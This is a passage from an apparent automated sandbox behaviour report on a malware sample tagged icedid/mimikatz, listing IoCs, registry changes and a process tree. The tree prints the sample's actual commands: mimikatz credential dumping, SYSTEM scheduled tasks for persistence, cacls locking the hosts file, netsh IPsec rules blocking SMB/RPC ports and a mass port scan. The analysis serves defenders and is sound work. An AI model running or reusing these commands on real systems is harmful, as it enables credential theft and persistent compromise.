\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ascsso.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language gvuuacina.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language safngtn.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 3628 cmd.exe 3428 PING.EXE -
NSIS installer 3 IoCs
resource yara_rule behavioral2/files/0x00090000000234dd-6.dat nsis_installer_2 behavioral2/files/0x00080000000234f2-15.dat nsis_installer_1 behavioral2/files/0x00080000000234f2-15.dat nsis_installer_2 -
Modifies data under HKEY_USERS 45 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" safngtn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing safngtn.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" safngtn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ safngtn.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" safngtn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump\EulaAccepted = "1" umetuuign.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" safngtn.exe -
Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ safngtn.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ safngtn.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ safngtn.exe -
Runs net.exe
-
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3428 PING.EXE -
Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4432 schtasks.exe 1608 schtasks.exe 2676 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe -
Suspicious behavior: LoadsDriver 15 IoCs
pid Process 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found 656 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 3608 safngtn.exe Token: SeDebugPrivilege 1996 safngtn.exe Token: SeDebugPrivilege 4468 vfshost.exe Token: SeDebugPrivilege 1048 umetuuign.exe Token: SeLockMemoryPrivilege 3044 vgimut.exe Token: SeLockMemoryPrivilege 3044 vgimut.exe Token: SeDebugPrivilege 448 umetuuign.exe Token: SeDebugPrivilege 3972 umetuuign.exe Token: SeDebugPrivilege 4376 umetuuign.exe Token: SeDebugPrivilege 4556 umetuuign.exe Token: SeDebugPrivilege 3300 umetuuign.exe Token: SeDebugPrivilege 1708 umetuuign.exe Token: SeDebugPrivilege 4356 umetuuign.exe Token: SeDebugPrivilege 1180 umetuuign.exe Token: SeDebugPrivilege 3068 umetuuign.exe Token: SeDebugPrivilege 2708 umetuuign.exe Token: SeDebugPrivilege 1248 umetuuign.exe Token: SeDebugPrivilege 3840 umetuuign.exe Token: SeDebugPrivilege 1364 umetuuign.exe Token: SeDebugPrivilege 64 umetuuign.exe Token: SeDebugPrivilege 1548 umetuuign.exe Token: SeDebugPrivilege 116 umetuuign.exe Token: SeDebugPrivilege 3364 umetuuign.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe 3608 safngtn.exe 3608 safngtn.exe 1996 safngtn.exe 1996 safngtn.exe 2584 xohudmc.exe 756 ascsso.exe 4448 safngtn.exe 4448 safngtn.exe 5164 safngtn.exe 5164 safngtn.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 756 wrote to memory of 3628 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe 85 PID 756 wrote to memory of 3628 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe 85 PID 756 wrote to memory of 3628 756 2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe 85 PID 3628 wrote to memory of 3428 3628 cmd.exe 87 PID 3628 wrote to memory of 3428 3628 cmd.exe 87 PID 3628 wrote to memory of 3428 3628 cmd.exe 87 PID 3628 wrote to memory of 3608 3628 cmd.exe 90 PID 3628 wrote to memory of 3608 3628 cmd.exe 90 PID 3628 wrote to memory of 3608 3628 cmd.exe 90 PID 1996 wrote to memory of 4176 1996 safngtn.exe 92 PID 1996 wrote to memory of 4176 1996 safngtn.exe 92 PID 1996 wrote to memory of 4176 1996 safngtn.exe 92 PID 4176 wrote to memory of 1236 4176 cmd.exe 94 PID 4176 wrote to memory of 1236 4176 cmd.exe 94 PID 4176 wrote to memory of 1236 4176 cmd.exe 94 PID 4176 wrote to memory of 3872 4176 cmd.exe 95 PID 4176 wrote to memory of 3872 4176 cmd.exe 95 PID 4176 wrote to memory of 3872 4176 cmd.exe 95 PID 4176 wrote to memory of 3392 4176 cmd.exe 96 PID 4176 wrote to memory of 3392 4176 cmd.exe 96 PID 4176 wrote to memory of 3392 4176 cmd.exe 96 PID 4176 wrote to memory of 636 4176 cmd.exe 97 PID 4176 wrote to memory of 636 4176 cmd.exe 97 PID 4176 wrote to memory of 636 4176 cmd.exe 97 PID 4176 wrote to memory of 3364 4176 cmd.exe 98 PID 4176 wrote to memory of 3364 4176 cmd.exe 98 PID 4176 wrote to memory of 3364 4176 cmd.exe 98 PID 4176 wrote to memory of 2424 4176 cmd.exe 99 PID 4176 wrote to memory of 2424 4176 cmd.exe 99 PID 4176 wrote to memory of 2424 4176 cmd.exe 99 PID 1996 wrote to memory of 3068 1996 safngtn.exe 109 PID 1996 wrote to memory of 3068 1996 safngtn.exe 109 PID 1996 wrote to memory of 3068 1996 safngtn.exe 109 PID 1996 wrote to memory of 4952 1996 safngtn.exe 111 PID 1996 wrote to memory of 4952 1996 safngtn.exe 111 PID 1996 wrote to memory of 4952 1996 safngtn.exe 111 PID 1996 wrote to memory of 4572 1996 safngtn.exe 113 PID 1996 wrote to memory of 4572 1996 safngtn.exe 113 PID 1996 wrote to memory of 4572 1996 safngtn.exe 113 PID 1996 wrote to memory of 4232 1996 safngtn.exe 115 PID 1996 wrote to memory of 4232 1996 safngtn.exe 115 PID 1996 wrote to memory of 4232 1996 safngtn.exe 115 PID 4232 wrote to memory of 2532 4232 cmd.exe 117 PID 4232 wrote to memory of 2532 4232 cmd.exe 117 PID 4232 wrote to memory of 2532 4232 cmd.exe 117 PID 2532 wrote to memory of 3808 2532 wpcap.exe 118 PID 2532 wrote to memory of 3808 2532 wpcap.exe 118 PID 2532 wrote to memory of 3808 2532 wpcap.exe 118 PID 3808 wrote to memory of 3760 3808 net.exe 120 PID 3808 wrote to memory of 3760 3808 net.exe 120 PID 3808 wrote to memory of 3760 3808 net.exe 120 PID 2532 wrote to memory of 4524 2532 wpcap.exe 121 PID 2532 wrote to memory of 4524 2532 wpcap.exe 121 PID 2532 wrote to memory of 4524 2532 wpcap.exe 121 PID 4524 wrote to memory of 4492 4524 net.exe 123 PID 4524 wrote to memory of 4492 4524 net.exe 123 PID 4524 wrote to memory of 4492 4524 net.exe 123 PID 2532 wrote to memory of 5068 2532 wpcap.exe 124 PID 2532 wrote to memory of 5068 2532 wpcap.exe 124 PID 2532 wrote to memory of 5068 2532 wpcap.exe 124 PID 5068 wrote to memory of 800 5068 net.exe 126 PID 5068 wrote to memory of 800 5068 net.exe 126 PID 5068 wrote to memory of 800 5068 net.exe 126 PID 2532 wrote to memory of 2064 2532 wpcap.exe 127
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2116
-
C:\Windows\TEMP\jgcitiybz\vgimut.exe"C:\Windows\TEMP\jgcitiybz\vgimut.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3044
-
-
C:\Users\Admin\AppData\Local\Temp\2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-09-08_174c3c0a0c6140688c6335c56ec70d9b_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:756 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\lvtrlpnz\safngtn.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:3428
-
-
C:\Windows\lvtrlpnz\safngtn.exeC:\Windows\lvtrlpnz\safngtn.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3608
-
-
-
C:\Windows\lvtrlpnz\safngtn.exeC:\Windows\lvtrlpnz\safngtn.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4176 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1236
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
PID:3872
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3392
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
PID:636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:3364
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
PID:2424
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:3068
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4952
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4572
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgskbltgt\kmildiyui\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\tgskbltgt\kmildiyui\wpcap.exeC:\Windows\tgskbltgt\kmildiyui\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2532 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3808 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:3760
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
PID:4492
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- Suspicious use of WriteProcessMemory
PID:5068 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
PID:800
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- System Location Discovery: System Language Discovery
PID:2064 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:3240
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3968
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:3300 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:1748
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:664
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
PID:4176 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
PID:1120
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgskbltgt\kmildiyui\gvuuacina.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tgskbltgt\kmildiyui\Scant.txt2⤵
- System Location Discovery: System Language Discovery
PID:1708 -
C:\Windows\tgskbltgt\kmildiyui\gvuuacina.exeC:\Windows\tgskbltgt\kmildiyui\gvuuacina.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tgskbltgt\kmildiyui\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3064
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tgskbltgt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tgskbltgt\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:840 -
C:\Windows\tgskbltgt\Corporate\vfshost.exeC:\Windows\tgskbltgt\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bbugttbay" /ru system /tr "cmd /c C:\Windows\ime\safngtn.exe"2⤵PID:4808
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3820
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bbugttbay" /ru system /tr "cmd /c C:\Windows\ime\safngtn.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4432
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tvfnziryd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\lvtrlpnz\safngtn.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:3560 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:1052
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "tvfnziryd" /ru system /tr "cmd /c echo Y|cacls C:\Windows\lvtrlpnz\safngtn.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1608
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "zuinultka" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jgcitiybz\vgimut.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
PID:4900 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
PID:4920
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "zuinultka" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\jgcitiybz\vgimut.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2676
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2452
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4164
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2488
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4840
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4488
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:4492
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3716
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:2252
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
